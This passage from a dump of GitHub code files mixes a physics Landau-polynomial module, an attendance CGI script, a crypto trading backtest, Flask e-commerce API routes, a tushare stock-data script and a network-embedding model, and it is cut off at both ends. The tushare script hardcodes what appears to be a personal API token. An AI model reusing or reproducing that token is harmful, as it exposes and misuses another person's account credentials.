0.5*np.sqrt(surf_form)/np.sqrt(alpha + beta*deriv**2)\n integrand[n_eq_active==0] = 0.0\n integrand *= deriv**2\n fprime = 2*np.trapz(integrand, x=conc)\n array_fprime = np.zeros_like(x)\n\n # We need to differentiate with respect to x, not beta\n # Apply kernel rule\n array_fprime[0] = 2*x[0]*fprime\n return array_fprime\n\n if gamma0 is None:\n gamma0 = np.sqrt(alpha)\n root, infodict, ier, mesg = fsolve(eq, gamma0, fprime=jac, full_output=True)\n beta = np.sqrt(root)\n print(\"Target surface tension: {}. Difference: {}\".format(gamma, infodict[\"fvec\"]))\n return beta\n\n def conc_grad_param(self, gamma, x, surf_form):\n \"\"\"Obtain gradient coefficients via a linearised approximation to the governing equations.\n\n The following system of equations is solved\n\n gamma1 = 2*integral sqrt(surf_form)*sqrt(b1 + b2*(d_eta/dc)**2)\n gamma2 = 2*integral sqrt(surf_form)*sqrt(b1 + f*b2*(d_eta/dc)**2)\n f = gamma2/gamma1\n\n by expanding the last square root.\n\n :param float gamma1: First surface tension\n :param float gamma2: Second surface tension\n :param x np.ndarray: 1D array with concentrations\n :param surf_form np.ndarray: 1D array with surface formation energy\n \"\"\"\n\n sqrt_surf = np.sqrt(surf_form)\n sqrt_alpha = 0.5*gamma/np.trapz(sqrt_surf, x=x)\n alpha = sqrt_alpha**2\n return alpha\n\n\nclass MinimizationProgressCallback(object):\n def __init__(self, log_every_sec, constraints=[]):\n self.log_every_sec = log_every_sec\n self.now = time.time()\n self.constraints = constraints\n\n def log(self, msg):\n print(msg)\n\n def __call__(self, xk):\n if time.time() - self.now > self.log_every_sec:\n for cnst in self.constraints:\n self.log(cnst.status_msg())\n self.now = time.time()","repo_name":"davidkleiven/APAL","sub_path":"apal/landau_polynomial.py","file_name":"landau_polynomial.py","file_ext":"py","file_size_in_byte":20850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"41519770205","text":"#!/usr/bin/python\nprint('Content-type: text/html\\n')\n\n'''\n\nSynergetic Lite\n\nTEACHER SIDE\n\nmarkAttendance3.py\n\nSaves all unverified absences to the DB.\n\nBy Nick Patrikeos on 05JAN18\n\n'''\n\nimport cgi\nimport cgitb; cgitb.enable()\nimport sqlite3\nimport datetime\nfrom dbFunctions import *\n\nform = cgi.FieldStorage()\nclassID = form.getvalue('classID')\nperiodNum = form.getvalue('periodNum')\n\nvalues = {'classID':classID, 'periodNum': periodNum}\ncurrentTime = datetime.datetime.now()\ncurrentDate = currentTime.strftime(\"%Y-%m-%d\")\n\ndb = sqlite3.connect('synergetic.db')\ncursor = db.cursor()\ncursor.execute('PRAGMA foreign_keys = ON')\n\ncursor.execute('SELECT Student FROM Enrolments WHERE Class = :classID', values)\nstudents = [ i[0] for i in cursor.fetchall() ]\nprint(students)\nfor student in students:\n if form.getvalue(str(student)) is not None:\n cursor.execute('INSERT INTO AbsenteesUnverified (Student, Period, Date) VALUES (?, ?, ?)', (student, periodNum, currentDate))\n\n\n\nprint('')\nprint('')\n\n\ndb.commit()\ndb.close()\n","repo_name":"NicktheGreek1985/PythonCGIProjects","sub_path":"Synergetic Lite/markAttendance3.py","file_name":"markAttendance3.py","file_ext":"py","file_size_in_byte":1109,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3897354801","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\nimport codecs\nimport json\nimport datetime\nimport time\nfrom utils import timestamp2string\nimport os\nfrom utils import cal_rate\n\n\n\n\n\ndef read_file(file_path):\n with codecs.open(file_path, 'r', 'UTF-8') as f:\n lines = f.readlines()\n return lines\n\n\ndef get_now_price(line):\n return float(line.split(',')[0].split(':')[1])\n\n\ndef get_3s_price(line):\n return float(line.split(',')[1].split(':')[1])\n\n\ndef get_10s_price(line):\n return float(line.split(',')[2].split(':')[1])\n\n\ndef get_1m_price(line):\n return float(line.split(',')[3].split(':')[1])\n\n\ndef get_5m_price(line):\n return float(line.split(',')[4].split(':')[1])\n\n\ndef get_3s_vol(line):\n return float(line.split(',')[6].split(':')[1])\n\n\ndef get_3s_ask_vol(line):\n return float(line.split(',')[11].split(':')[1])\n\n\ndef get_3s_bid_vol(line):\n return float(line.split(',')[12].split(':')[1])\n\n\ndef get_1m_ask_vol(line):\n return float(line.split(',')[9].split(':')[1])\n\n\ndef get_1m_bid_vol(line):\n return float(line.split(',')[10].split(':')[1])\n\n\ndef get_1m_vol(line):\n return float(line.split(',')[8].split(':')[1])\n\n\ndef get_10s_change(line):\n price_3s = get_3s_price(line)\n price_10s = get_10s_price(line)\n return cal_rate(price_3s, price_10s)\n\n\ndef get_1m_change(line):\n avg_3s_price = get_3s_price(line)\n avg_min_price = get_1m_price(line)\n return cal_rate(avg_3s_price, avg_min_price)\n\n\ndef get_5m_change(line):\n avg_3s_price = get_3s_price(line)\n avg_5m_price = get_5m_price(line)\n return cal_rate(avg_3s_price, avg_5m_price)\n\n\nvol_3s_line = 500\nvol_3s_bal = 10\nvol_1m_bal = 10\nvol_1m_line = 20000\nincr_10s_rate = 0.01\nincr_1m_rate = 0.2\nincr_5m_rate = 0.3\nplus = 0\nminus = 0\nbuy_price = 0\nmoreless = 0\n\ndef load_file():\n path = os.getcwd()\n files = os.listdir(path)\n file_list = []\n for f in files:\n if 'etc_future_deals_201812' in f:\n file_list.append(f)\n return file_list\n\ndef sell_more(line):\n # return get_3s_price(line) < get_5m_price(line)\n if get_3s_price(line) > buy_price:\n return get_5m_change(line) < 0 and get_1m_change(line) <= -0.1\n else:\n return get_5m_change(line) < 0 or get_1m_change(line) <= -0.2\n\n\ndef sell_less(line):\n if moreless == 1:\n if get_now_price(line) < buy_price:\n return get_1m_change(line) > 0\n else:\n return get_10s_change(line) > 0.05 or get_1m_change(line) > 0\n # return get_3s_price(line) > get_5m_price(line)\n else:\n if get_now_price(line) < buy_price:\n return get_5m_change(line) > 0 and get_1m_change(line) >= 0.1\n else:\n return get_5m_change(line) > 0 or get_1m_change(line) >= 0.2\n\ndef check_vol(vol_3s, vol_1m):\n return vol_3s > vol_3s_line and vol_1m > vol_1m_line\n\n\ndef buy_more(line):\n vol_3s = get_3s_vol(line)\n vol_3s_ask = get_3s_ask_vol(line)\n vol_3s_bid = get_3s_bid_vol(line)\n vol_1m = get_1m_vol(line)\n vol_1m_ask = get_1m_ask_vol(line)\n vol_1m_bid = get_1m_bid_vol(line)\n price_10s_rate = get_10s_change(line)\n price_1m_rate = get_1m_change(line)\n price_5m_rate = get_5m_change(line)\n\n if 0.8 > price_1m_rate >= incr_1m_rate and 1.5 > price_5m_rate >= incr_5m_rate and price_10s_rate >= incr_10s_rate and price_10s_rate <= price_1m_rate <= price_5m_rate:\n if vol_3s_bid > vol_3s_bal * vol_3s_ask and vol_1m_bid > vol_1m_bal * vol_1m_ask and vol_3s > 1.5 * vol_3s_line:\n if check_vol(vol_3s, vol_1m):\n return True\n\n\ndef buy_less(line):\n global moreless\n vol_3s = get_3s_vol(line)\n vol_3s_ask = get_3s_ask_vol(line)\n vol_3s_bid = get_3s_bid_vol(line)\n vol_1m = get_1m_vol(line)\n vol_1m_ask = get_1m_ask_vol(line)\n vol_1m_bid = get_1m_bid_vol(line)\n price_10s_rate = get_10s_change(line)\n price_1m_rate = get_1m_change(line)\n price_5m_rate = get_5m_change(line)\n if price_1m_rate <= -incr_1m_rate and price_5m_rate <= -incr_5m_rate and price_10s_rate <= -incr_10s_rate and price_10s_rate >= price_1m_rate >= price_5m_rate:\n if vol_3s_ask > vol_3s_bal * vol_3s_bid and vol_1m_ask > vol_1m_bal * vol_1m_bid:\n if check_vol(vol_3s, vol_1m):\n return True\n # if price_10s_rate < -0.05 and price_1m_rate < -0.2 and price_5m_rate > 0.3 and vol_3s_ask > 10 * vol_3s_bid and vol_3s > 5000:\n # moreless = 1\n # return True\n\n\ndef get_time(line):\n return line.split(',')[-1]\n\n\ndef cal_profit(lines):\n global plus, minus, buy_price, moreless\n more = 0\n less = 0\n profit = 0\n for line in lines:\n if more == 1:\n if sell_more(line):\n sell_price = get_now_price(line)\n cur_profit = sell_price - buy_price\n more = 0\n profit += cur_profit\n if cur_profit > 0.01:\n plus += 1\n elif cur_profit < -0.01:\n minus += 1\n print(\"sell more, profit: %.3f, price: %.3f, time: %s\" % (cur_profit, sell_price, get_time(line)), line)\n\n elif less == 1:\n if sell_less(line):\n sell_price = get_now_price(line)\n cur_profit = buy_price - sell_price\n less = 0\n moreless = 0\n if cur_profit > 0.01:\n plus += 1\n elif cur_profit < -0.01:\n minus += 1\n profit += cur_profit\n print(\"sell less, profit: %.3f, price: %.3f, time: %s\" % (cur_profit, sell_price, get_time(line)), line)\n\n elif less == 0 and more == 0 and buy_more(line):\n more = 1\n buy_price = get_now_price(line) + 0.01\n print(\"buy more, price: %.3f, time: %s\" % (buy_price, get_time(line)), line)\n\n elif more == 0 and less == 0 and buy_less(line):\n less = 1\n buy_price = get_now_price(line) - 0.01\n print(\"buy less, price: %.3f, time: %s\" % (buy_price, get_time(line)), line)\n return profit\n\n\nif __name__ == '__main__':\n # global vol_3s_line\n file_list = load_file()\n file_list.sort()\n # for vol_3s_line in range(5100,5400,50):\n money = 0\n plus = 0\n minus = 0\n for f in file_list:\n lines = read_file(f)\n money += cal_profit(lines)\n print(money, plus, minus)\n","repo_name":"m4rdukkkkk/money_maker","sub_path":"profit_test.py","file_name":"profit_test.py","file_ext":"py","file_size_in_byte":6359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"18922909408","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 1 00:36:07 2021\n\n@author: Acer7\n\"\"\" \n\nfrom scipy import stats\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n\ndftest = pd.read_csv('myseconddata.csv', sep=',')\nprint(dftest)\n\ndfgraph = pd.DataFrame(data={\n 'df': dftest['numeric'],\n})\n\ndfgraph.plot.kde()\nplt.show()\n\nd1 = dfgraph['df']\n\nprint(stats.kstest(d1, 'norm', (d1.mean(), d1.std()), N=len(d1)))\n","repo_name":"nimoklib/programms_au","sub_path":"imdatascientist.py","file_name":"imdatascientist.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70545107469","text":"import json\nfrom flask import render_template, url_for, flash, redirect, request, jsonify\nfrom flask_mail import Message\nfrom flask_migrate import current\nfrom flask_jwt_extended import create_access_token\nfrom flask_jwt_extended import get_jwt_identity\nfrom flask_jwt_extended import jwt_required\n\nfrom flask_cors import CORS, cross_origin\n\n\nfrom anico_application.forms import validate_register_form, validate_login_form\nfrom anico_application import app, db, bcrypt, mail, csrf\nfrom anico_application.models import Support, User, Product, ProductImage, ProductSize\nfrom anico_application.controller import get_username, get_hashed_password, get_custom_date, get_sentiment_analysis, get_products, get_product_image_urls\n\n\n@app.route('/api/register/form-submit', methods=['POST'])\n@csrf.exempt # prevent form spams\ndef register():\n if request.method == 'POST':\n req = request.json\n validated_form = validate_register_form(req)\n\n isValidated = True\n print(validated_form)\n\n for key, value in validated_form.items():\n if value != '':\n isValidated = False\n\n # save to database\n if isValidated: # True\n user_name_sliced = get_username(req['email'])\n hashed_password = get_hashed_password(req['password'])\n\n user_data = User(username=user_name_sliced,\n email=req['email'], phone_number=req['phone'], password=hashed_password)\n\n db.session.add(user_data)\n db.session.commit()\n\n return {'isValid': 'valid'}\n\n # send error response to client side\n else:\n print(\"sent to client side\")\n return validated_form\n\n\n@app.route('/api/login/form-submit', methods=['POST', 'GET'])\n@csrf.exempt # prevent form spams\ndef login():\n if request.method == 'POST':\n req = request.json\n\n validated_form = validate_login_form(req)\n\n isValidated = True\n\n for key, value in validated_form.items():\n if value != '':\n isValidated = False\n\n # successful login\n if isValidated: # True\n # user_db = User.query.filter_by(email=req['email']).first()\n access_token = create_access_token(identity=req['email'])\n\n return {'isValid': 'valid', 'access_token': access_token}\n\n # send error response to client side\n else:\n print(\"sent to client side\")\n return validated_form\n\n return ''\n\n\n@app.route('/api/support/form-submit', methods=['POST', 'GET'])\n@csrf.exempt # prevent form spams\ndef support():\n if request.method == 'POST':\n try:\n req = request.json\n\n name_field = req['name']\n email_field = req['email']\n subject_field = req['subject']\n message_field = req['message']\n\n formatted_date = get_custom_date()\n\n sentiment_analysis = get_sentiment_analysis(message_field)\n\n data = Support(name=name_field, email=email_field, subject=subject_field,\n message=message_field, date=formatted_date, sentiment=sentiment_analysis)\n\n db.session.add(data)\n db.session.commit()\n\n return req\n\n except:\n print(\"An exception occured\")\n\n return ''\n\n\n@app.route('/api/favourite/form-submit', methods=['POST', 'GET'])\ndef favourite():\n return {\"Hello\": \"World\"}\n\n\n@app.route('/api/products/get-products', methods=['POST', 'GET'])\n# @cross_origin(origin='localhost',headers=['Content- Type','Authorization'])\ndef products():\n db_product = Product.query.all()\n products = get_products(db_product) # type dictionary\n\n return products\n\n\n@app.route('/api/products/get-product-image', methods=['POST', 'GET'])\n@csrf.exempt # for post request\ndef products_images():\n if request.method == 'POST':\n req = request.json\n\n req_id = req['product_id']\n\n product_image_url_list = get_product_image_urls(\n int(req_id), ProductImage.query.all())\n\n return {'product_image_url': product_image_url_list}\n\n return {\"Development\": None}\n","repo_name":"Tjandra-Putra/anico-ecommerce","sub_path":"back-end/anico_application/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"30283745037","text":"# 导入tushare\nimport tushare as ts\n\n# 初始化pro接口\npro = ts.pro_api('ca0af3044cc38461f8e4ae128c9edabc12bcab9f4628f5cf6b6d863a')\n\n# 拉取数据\ndf = pro.stk_rewards(**{\n \"ts_code\": \"000001.SZ\",\n \"end_date\": \"\",\n \"limit\": \"\",\n \"offset\": \"\"\n}, fields=[\n \"ts_code\",\n \"ann_date\",\n \"end_date\",\n \"name\",\n \"title\",\n \"reward\",\n \"hold_vol\"\n])\nprint(df)\n\n","repo_name":"fionlei/tushare_data","sub_path":"01-基础数据/07管理层薪酬和持股.py","file_name":"07管理层薪酬和持股.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12113473001","text":"\"\"\"\n英寸与厘米互换 1英寸= 2.54厘米\n\nVersion: 0.1\nAuthor: Ailin\n\"\"\"\n\nvalue = float(input(\"请输入长度:\"))\nunit = input(\"请输入单位:\")\nif 'cm' in unit or '厘米' in unit:\n print(\"%.2f %s 转换成英寸为 %.2f 英寸\" % (value,unit,value/2.54))\nelif 'in' in unit or '英寸' in unit:\n print(\"%.2f %s 转换成厘米为 %.2f 厘米\" % (value, unit,value*2.54))\nelse:\n print(\"您的输入有误!\")","repo_name":"ailin546/pyxuexi","sub_path":"3.分支结构/练习1.英寸与厘米互换.py","file_name":"练习1.英寸与厘米互换.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37367262941","text":"# encoding: utf-8\n\nimport time, os\nimport gensim\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.contrib.rnn import LSTMCell, LSTMStateTuple\nfrom tensorflow.python.ops.rnn import bidirectional_dynamic_rnn as bi_rnn\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.metrics import f1_score, precision_score, recall_score, accuracy_score, confusion_matrix\nfrom sklearn.preprocessing import MultiLabelBinarizer\nfrom src.utils import save_embedding\n\n\nclass STNE(object):\n def __init__(self, hidden_dim, node_num, fea_dim, seq_len, depth=1, node_fea=None, node_fea_trainable=False):\n self.node_num, self.fea_dim, self.seq_len = node_num, fea_dim, seq_len\n\n self.input_seqs = tf.placeholder(tf.int32, shape=(None, self.seq_len), name='input_seq')\n self.dropout = tf.placeholder(tf.float32, name='dropout')\n if node_fea is not None:\n assert self.node_num == node_fea.shape[0] #and self.fea_dim == node_fea.shape[1]\n self.embedding_W = tf.Variable(initial_value=node_fea, name='encoder_embed', trainable=node_fea_trainable)\n else:\n self.embedding_W = tf.Variable(initial_value=tf.random_uniform(shape=(self.node_num, self.fea_dim)),\n name='encoder_embed', trainable=node_fea_trainable)\n input_seq_embed = tf.nn.embedding_lookup(self.embedding_W, self.input_seqs, name='input_embed_lookup')\n # input_seq_embed = tf.layers.dense(input_seq_embed, units=1200, activation=None)\n\n # encoder\n encoder_cell_fw_0 = tf.contrib.rnn.DropoutWrapper(LSTMCell(hidden_dim), output_keep_prob=1 - self.dropout)\n encoder_cell_bw_0 = tf.contrib.rnn.DropoutWrapper(LSTMCell(hidden_dim), output_keep_prob=1 - self.dropout)\n if depth == 1:\n encoder_cell_fw_all = tf.contrib.rnn.MultiRNNCell([encoder_cell_fw_0])\n encoder_cell_bw_all = tf.contrib.rnn.MultiRNNCell([encoder_cell_bw_0])\n else:\n encoder_cell_fw_1 = tf.contrib.rnn.DropoutWrapper(LSTMCell(hidden_dim), output_keep_prob=1 - self.dropout)\n encoder_cell_bw_1 = tf.contrib.rnn.DropoutWrapper(LSTMCell(hidden_dim), output_keep_prob=1 - self.dropout)\n\n encoder_cell_fw_all = tf.contrib.rnn.MultiRNNCell([encoder_cell_fw_0] + [encoder_cell_fw_1] * (depth - 1))\n encoder_cell_bw_all = tf.contrib.rnn.MultiRNNCell([encoder_cell_bw_0] + [encoder_cell_bw_1] * (depth - 1))\n\n encoder_outputs, encoder_final = bi_rnn(encoder_cell_fw_all, encoder_cell_bw_all, inputs=input_seq_embed,\n dtype=tf.float32)\n c_fw_list, h_fw_list, c_bw_list, h_bw_list = [], [], [], []\n for d in range(depth):\n (c_fw, h_fw) = encoder_final[0][d]\n (c_bw, h_bw) = encoder_final[1][d]\n c_fw_list.append(c_fw)\n h_fw_list.append(h_fw)\n c_bw_list.append(c_bw)\n h_bw_list.append(h_bw)\n\n decoder_init_state = tf.concat(c_fw_list + c_bw_list, axis=-1), tf.concat(h_fw_list + h_bw_list, axis=-1)\n decoder_cell = tf.contrib.rnn.DropoutWrapper(LSTMCell(hidden_dim * 2), output_keep_prob=1 - self.dropout)\n decoder_init_state = LSTMStateTuple(\n tf.layers.dense(decoder_init_state[0], units=hidden_dim * 2, activation=None),\n tf.layers.dense(decoder_init_state[1], units=hidden_dim * 2, activation=None))\n\n self.encoder_output = tf.concat(encoder_outputs, axis=-1)\n encoder_output_T = tf.transpose(self.encoder_output, [1, 0, 2]) # h\n\n new_state = decoder_init_state\n outputs_list = []\n for i in range(seq_len):\n new_output, new_state = decoder_cell(tf.zeros(shape=tf.shape(encoder_output_T)[1:]), new_state) # None\n outputs_list.append(new_output)\n\n decoder_outputs = tf.stack(outputs_list, axis=0) # seq_len * batch_size * hidden_dim\n decoder_outputs = tf.transpose(decoder_outputs, [1, 0, 2]) # batch_size * seq_len * hidden_dim\n self.decoder_outputs = decoder_outputs\n output_preds = tf.layers.dense(decoder_outputs, units=self.node_num, activation=None)\n loss_ce = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=self.input_seqs, logits=output_preds)\n self.loss_ce = tf.reduce_mean(loss_ce, name='loss_ce')\n\n self.global_step = tf.Variable(1, name=\"global_step\", trainable=False)\n\n\nclass TopKRanker(OneVsRestClassifier):\n def predict(self, X, top_k_list):\n probs = np.asarray(super(TopKRanker, self).predict_proba(X))\n all_labels = []\n for i, k in enumerate(top_k_list):\n probs_ = probs[i, :]\n labels = self.classes_[probs_.argsort()[-k:]].tolist()\n probs_[:] = 0\n probs_[labels] = 1\n all_labels.append(probs_)\n return np.asarray(all_labels)\n\n\nclass Classifier(object):\n def __init__(self, vectors, clf):\n self.embeddings = vectors\n self.clf = TopKRanker(clf)\n self.binarizer = MultiLabelBinarizer(sparse_output=True)\n\n def train(self, X, Y, Y_all):\n self.binarizer.fit(Y_all)\n X_train = [self.embeddings[x] for x in X]\n Y = self.binarizer.transform(Y)\n self.clf.fit(X_train, Y)\n\n def evaluate(self, X, Y):\n top_k_list = [len(l) for l in Y]\n Y_ = self.predict(X, top_k_list)\n Y = self.binarizer.transform(Y)\n # averages = [\"micro\", \"macro\", \"samples\", \"weighted\"]\n # f1_results = {}\n # pre_results = {}\n # rec_results = {}\n # acc_results = accuracy_score(Y, Y_)\n f1_macro = f1_score(Y, Y_, average=\"macro\")\n f1_micro = f1_score(Y, Y_, average=\"micro\")\n # for average in averages:\n # f1_results[average] = f1_score(Y, Y_, average=average)\n # pre_results[average] = precision_score(Y, Y_, average=average)\n # rec_results[average] = recall_score(Y, Y_, average=average)\n # print 'Results, using embeddings of dimensionality', len(self.embeddings[X[0]])\n # print '-------------------'\n # print('\\nF1 Score: ')\n # print(f1_results)\n # print('\\nPrecision Score:')\n # print(pre_results)\n # print('\\nRecall Score:')\n # print(rec_results)\n # print('Accuracy Score:', acc_results)\n\n # return f1_results, pre_results, rec_results, acc_results\n return f1_micro, f1_macro\n # print '-------------------'\n\n def predict(self, X, top_k_list):\n X_ = np.asarray([self.embeddings[x] for x in X])\n Y = self.clf.predict(X_, top_k_list=top_k_list)\n return Y\n\n def split_train_evaluate(self, X, Y, train_precent, seed=0):\n state = np.random.get_state()\n\n training_size = int(train_precent * len(X))\n np.random.seed(seed)\n shuffle_indices = np.random.permutation(np.arange(len(X)))\n X_train = [X[shuffle_indices[i]] for i in range(training_size)]\n Y_train = [Y[shuffle_indices[i]] for i in range(training_size)]\n X_test = [X[shuffle_indices[i]] for i in range(training_size, len(X))]\n Y_test = [Y[shuffle_indices[i]] for i in range(training_size, len(X))]\n\n self.train(X_train, Y_train, Y)\n np.random.set_state(state)\n return self.evaluate(X_test, Y_test)\n\n\ndef load_embeddings(filename):\n fin = open(filename, 'r')\n node_num, size = [int(x) for x in fin.readline().strip().split()]\n vectors = {}\n while 1:\n l = fin.readline()\n if l == '':\n break\n vec = l.strip().split(' ')\n assert len(vec) == size + 1\n vectors[vec[0]] = [float(x) for x in vec[1:]]\n fin.close()\n assert len(vectors) == node_num\n return vectors\n\n\ndef read_node_label(filename):\n fin = open(filename, 'r')\n X = []\n Y = []\n while 1:\n l = fin.readline()\n if l == '':\n break\n vec = l.strip().split(' ')\n\n if len(vec) == 2:\n X.append(int(vec[0]))\n Y.append([int(v) for v in vec[1:]])\n fin.close()\n return X, Y\n\n\ndef read_node_features(filename):\n fea = []\n fin = open(filename, 'r')\n for l in fin.readlines():\n vec = l.split()\n fea.append(np.array([float(x) for x in vec[1:]]))\n fin.close()\n return np.array(fea, dtype='float32')\n\n\ndef read_node_sequences(filename):\n seq = []\n fin = open(filename, 'r')\n for l in fin.readlines():\n vec = l.split()\n seq.append(np.array([int(x) for x in vec]))\n fin.close()\n return np.array(seq)\n\n\ndef reduce_seq2seq_hidden_mean(seq, seq_h, node_num, seq_num, seq_len):\n node_dict = {}\n for i_seq in range(seq_num):\n for j_node in range(seq_len):\n nid = seq[i_seq, j_node]\n if nid in node_dict:\n node_dict[nid].append(seq_h[i_seq, j_node, :])\n else:\n node_dict[nid] = [seq_h[i_seq, j_node, :]]\n vectors = []\n for nid in range(node_num):\n vectors.append(np.average(np.array(node_dict[nid]), 0))\n return np.array(vectors)\n\n\ndef reduce_seq2seq_hidden_add(sum_dict, count_dict, seq, seq_h_batch, seq_len, batch_start):\n for i_seq in range(seq_h_batch.shape[0]):\n for j_node in range(seq_len):\n nid = seq[i_seq + batch_start, j_node]\n if nid in sum_dict:\n sum_dict[nid] = sum_dict[nid] + seq_h_batch[i_seq, j_node, :]\n else:\n sum_dict[nid] = seq_h_batch[i_seq, j_node, :]\n if nid in count_dict:\n count_dict[nid] = count_dict[nid] + 1\n else:\n count_dict[nid] = 1\n return sum_dict, count_dict\n\n\ndef reduce_seq2seq_hidden_avg(sum_dict, count_dict, node_num):\n vectors = []\n for nid in range(node_num):\n vectors.append(sum_dict[nid] / count_dict[nid])\n return np.array(vectors)\n\n\ndef node_classification(session, bs, seqne, sequences, seq_len, node_n, samp_idx, label, ratio):\n enc_sum_dict = {}\n node_cnt = {}\n s_idx, e_idx = 0, bs\n while e_idx < len(sequences):\n batch_enc = session.run(seqne.encoder_output,\n feed_dict={seqne.input_seqs: sequences[s_idx: e_idx], seqne.dropout: 0})\n enc_sum_dict, node_cnt = reduce_seq2seq_hidden_add(enc_sum_dict, node_cnt, sequences,\n batch_enc.astype('float32'), seq_len, s_idx)\n s_idx, e_idx = e_idx, e_idx + bs\n\n if s_idx < len(sequences):\n batch_enc = session.run(seqne.encoder_output,\n feed_dict={seqne.input_seqs: sequences[s_idx: len(sequences)], seqne.dropout: 0})\n enc_sum_dict, node_cnt = reduce_seq2seq_hidden_add(enc_sum_dict, node_cnt, sequences,\n batch_enc.astype('float32'), seq_len, s_idx)\n\n node_enc_mean = reduce_seq2seq_hidden_avg(sum_dict=enc_sum_dict, count_dict=node_cnt, node_num=node_n)\n lr = Classifier(vectors=node_enc_mean, clf=LogisticRegression())\n f1_micro, f1_macro = lr.split_train_evaluate(samp_idx, label, ratio)\n return f1_micro\n\n\ndef node_classification_d(session, bs, seqne, sequences, seq_len, node_n, samp_idx, label, ratio):\n enc_sum_dict = {}\n node_cnt = {}\n s_idx, e_idx = 0, bs\n while e_idx < len(sequences):\n batch_dec = session.run(seqne.decoder_outputs,\n feed_dict={seqne.input_seqs: sequences[s_idx: e_idx], seqne.dropout: 0})\n enc_sum_dict, node_cnt = reduce_seq2seq_hidden_add(enc_sum_dict, node_cnt, sequences,\n batch_dec.astype('float32'), seq_len, s_idx)\n s_idx, e_idx = e_idx, e_idx + bs\n\n if s_idx < len(sequences):\n batch_dec = session.run(seqne.encoder_output,\n feed_dict={seqne.input_seqs: sequences[s_idx: len(sequences)], seqne.dropout: 0})\n enc_sum_dict, node_cnt = reduce_seq2seq_hidden_add(enc_sum_dict, node_cnt, sequences,\n batch_dec.astype('float32'), seq_len, s_idx)\n\n node_enc_mean = reduce_seq2seq_hidden_avg(sum_dict=enc_sum_dict, count_dict=node_cnt, node_num=node_n)\n\n lr = Classifier(vectors=node_enc_mean, clf=LogisticRegression())\n f1_micro, f1_macro = lr.split_train_evaluate(samp_idx, label, ratio)\n return f1_micro\n\n\ndef node_classification_hd(session, bs, seqne, sequences, seq_len, node_n, samp_idx, label, ratio):\n enc_sum_dict = {}\n dec_sum_dict = {}\n node_cnt_enc = {}\n node_cnt_dec = {}\n s_idx, e_idx = 0, bs\n while e_idx < len(sequences):\n batch_enc = session.run(seqne.encoder_output,\n feed_dict={seqne.input_seqs: sequences[s_idx: e_idx], seqne.dropout: 0})\n enc_sum_dict, node_cnt_enc = reduce_seq2seq_hidden_add(enc_sum_dict, node_cnt_enc, sequences,\n batch_enc.astype('float32'), seq_len, s_idx)\n\n batch_dec = session.run(seqne.decoder_outputs,\n feed_dict={seqne.input_seqs: sequences[s_idx: e_idx], seqne.dropout: 0})\n dec_sum_dict, node_cnt_dec = reduce_seq2seq_hidden_add(dec_sum_dict, node_cnt_dec, sequences,\n batch_dec.astype('float32'), seq_len, s_idx)\n s_idx, e_idx = e_idx, e_idx + bs\n\n if s_idx < len(sequences):\n batch_enc = session.run(seqne.encoder_output,\n feed_dict={seqne.input_seqs: sequences[s_idx: e_idx], seqne.dropout: 0})\n enc_sum_dict, node_cnt_enc = reduce_seq2seq_hidden_add(enc_sum_dict, node_cnt_enc, sequences,\n batch_enc.astype('float32'), seq_len, s_idx)\n\n batch_dec = session.run(seqne.decoder_outputs,\n feed_dict={seqne.input_seqs: sequences[s_idx: e_idx], seqne.dropout: 0})\n dec_sum_dict, node_cnt_dec = reduce_seq2seq_hidden_add(dec_sum_dict, node_cnt_dec, sequences,\n batch_dec.astype('float32'), seq_len, s_idx)\n\n node_enc_mean = reduce_seq2seq_hidden_avg(sum_dict=enc_sum_dict, count_dict=node_cnt_enc, node_num=node_n)\n node_dec_mean = reduce_seq2seq_hidden_avg(sum_dict=dec_sum_dict, count_dict=node_cnt_dec, node_num=node_n)\n\n node_mean = np.concatenate((node_enc_mean, node_dec_mean), axis=1)\n lr = Classifier(vectors=node_mean, clf=LogisticRegression())\n f1_micro, f1_macro = lr.split_train_evaluate(samp_idx, label, ratio)\n return f1_micro\n\n\ndef check_all_node_trained(trained_set, seq_list, total_node_num):\n for seq in seq_list:\n trained_set.update(seq)\n if len(trained_set) == total_node_num:\n return True\n else:\n return False\n\n\ndef get_embed(session, bs, seqne, sequences, seq_len, node_n):\n enc_sum_dict = {}\n node_cnt = {}\n s_idx, e_idx = 0, bs\n while e_idx < len(sequences):\n batch_enc = session.run(seqne.encoder_output,\n feed_dict={seqne.input_seqs: sequences[s_idx: e_idx], seqne.dropout: 0})\n enc_sum_dict, node_cnt = reduce_seq2seq_hidden_add(enc_sum_dict, node_cnt, sequences,\n batch_enc.astype('float32'), seq_len, s_idx)\n s_idx, e_idx = e_idx, e_idx + bs\n\n if s_idx < len(sequences):\n batch_enc = session.run(seqne.encoder_output,\n feed_dict={seqne.input_seqs: sequences[s_idx: len(sequences)], seqne.dropout: 0})\n enc_sum_dict, node_cnt = reduce_seq2seq_hidden_add(enc_sum_dict, node_cnt, sequences,\n batch_enc.astype('float32'), seq_len, s_idx)\n\n node_enc_mean = reduce_seq2seq_hidden_avg(sum_dict=enc_sum_dict, count_dict=node_cnt, node_num=node_n)\n return node_enc_mean\n\n\nif __name__ == '__main__':\n folder = '/home/hezhicheng/PycharmProjects/STNE/data/cora/'\n fn = '/home/hezhicheng/PycharmProjects/STNE/data/cora/result.txt'\n\n dpt = 1 # Depth of both the encoder and the decoder layers (MultiCell RNN)\n h_dim 